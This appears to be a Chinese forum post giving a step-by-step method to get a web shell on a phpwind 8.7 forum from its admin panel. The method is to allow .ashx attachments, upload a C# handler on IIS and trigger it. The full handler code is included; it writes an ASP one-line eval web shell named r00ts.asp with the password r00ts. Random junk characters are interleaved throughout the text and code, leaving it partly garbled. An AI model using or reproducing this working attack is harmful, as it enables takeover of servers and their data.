phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
+ J4 h' _9 @* E% }7 d# m
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
2 Z) S4 F( L, O- n) {" R, R, ~8 n
1 n; R# {  g% i. s然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
; A. A0 a3 L4 f' Z' B& M4 y
8 r' E; B  h; ?9 b4 b打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
9 l& U& N! d* k* M# @  b1 K
下面是代码:
2 ]5 X: y! ^+ R: y8 r* \9 h
<%@ WebHandler Language="C#"Class="Handler" %>
% P2 f+ r, A: ]" U6 Gusing System;
! N$ ]. d. G0 U3 |& F3 kusing System.Web;
using System.IO;
' x% B* ^& u1 ?public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
% |) X# H4 F5 `context.Response.ContentType = "text/plain";
) `) y4 l  P, H( sStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
+ p4 g/ @' ^1 a: E" `7 Sfile1.Flush();
2 h0 \! q, o4 J! k# N4 u; K4 S9 `, C' \file1.Close();
}
public bool IsReusable {
0 c3 D+ g, M; t+ wget {
' |6 [! z1 ?7 d, greturn false;
6 f+ e+ I  B& q9 `; M}
}
}